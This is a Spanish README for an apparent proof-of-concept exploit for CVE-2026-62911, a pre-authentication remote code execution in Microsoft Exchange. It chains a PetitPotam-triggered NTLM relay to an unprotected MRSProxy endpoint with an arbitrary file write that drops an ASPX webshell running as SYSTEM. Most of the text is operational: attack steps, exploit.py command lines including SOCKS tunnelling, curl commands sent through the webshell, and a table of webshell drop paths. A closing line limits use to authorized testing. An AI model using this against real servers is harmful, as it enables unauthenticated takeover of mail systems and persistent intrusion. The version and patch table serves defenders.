
Exploit de prueba de concepto para CVE-2026-62911: RCE sin autenticación previa en Microsoft Exchange mediante relay NTLM hacia MRSProxy, escribiendo una webshell ASPX para la ejecución de comandos como SYSTEM.
RCE pre-autenticación en Microsoft Exchange Server. No se necesitan credenciales.
Orange Tsai (DEVCORE) utilizó esto en Pwn2Own Berlin 2026 como parte de una cadena de 3 errores. Premio de $200,000, toma de control total como SYSTEM.
Exchange expone MailboxReplicationProxyService (MRSProxy) en dos rutas. Una de ellas reside en HTTP.sys sin Extended Protection:
| Ruta | Alojado por | Extended Protection |
|---|
/EWS/MRSProxy.svc | IIS | Sí. Seguro. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | No. Objetivo de relay. |
El endpoint HTTP.sys acepta autenticación Negotiate pero nunca comprueba los enlaces de canal (channel bindings). Puedes retransmitir (relay) el hash de una cuenta de máquina hacia él, y Exchange te trata como esa máquina. Las cuentas de máquina tienen ms-Exch-EPI-Token-Serialization por defecto, por lo que el servicio WCF concede acceso total.
Una vez dentro, IMailbox_Config6() toma un parámetro filePath. PstDestinationMailbox.ConfigPst() escribe cualquier ruta que le indiques. No hay comprobación de extensión. Apúntalo a un directorio de IIS, llama a IMailbox_Connect(), y un archivo cae en el disco. Convierte ese archivo en un webshell ASPX. Listo.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| Producto | Vulnerable por debajo de | Corregida | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 llegó a su fin de soporte en octubre de 2025. La corrección de agosto de 2026 se distribuye solo mediante Extended Security Updates (ESU). Si la organización no compró ESU, no hay parche.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
Cinco pasos:
Dispara MS-EFSR (EfsRpcOpenFileRaw) en EX02. Se autentica de vuelta hacia ti con su cuenta de máquina. PetitPotam funciona sin autenticación contra Exchange sin parchear.
Tu listener SMB captura la negociación NTLM de EX02$.
Reenvíala por HTTPS al MRSProxy de EX01. El endpoint no comprueba EPA, por lo que el relay se completa. Las cuentas de máquina ya tienen el derecho de serialización de Exchange, así que la autorización se concede.
Envía llamadas WCF: IMailbox_Config6 con una ruta como C:\inetpub\wwwroot\aspnet_client\shell.aspx, y luego IMailbox_Connect. Exchange escribe el archivo.
Accede al webshell. Eres SYSTEM.
Instala las dependencias:
pip install impacket pysocks
Comprueba si MRSProxy está expuesto:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Debes ver Microsoft-HTTPAPI/2.0 con Negotiate en la respuesta 401. Eso confirma que el endpoint HTTP.sys está activo y que EPA está ausente.
Ejecuta el exploit:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Si PetitPotam necesita autenticación en tu objetivo:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
A través de un túnel SOCKS:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
Elige una ubicación de escritura diferente:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
Verifica que el shell se ha colocado:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
Úsalo:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| Ruta en disco | URL | Por qué |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | Directorio de scripts de cliente de IIS por defecto. Normalmente escribible, sirve ASPX. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | Igual, más corta. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | Carpeta de autenticación de OWA. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | Carpeta de autenticación de ECP. |
Solo para pruebas autorizadas. Obtén permiso por escrito antes de ejecutar esto contra cualquier sistema.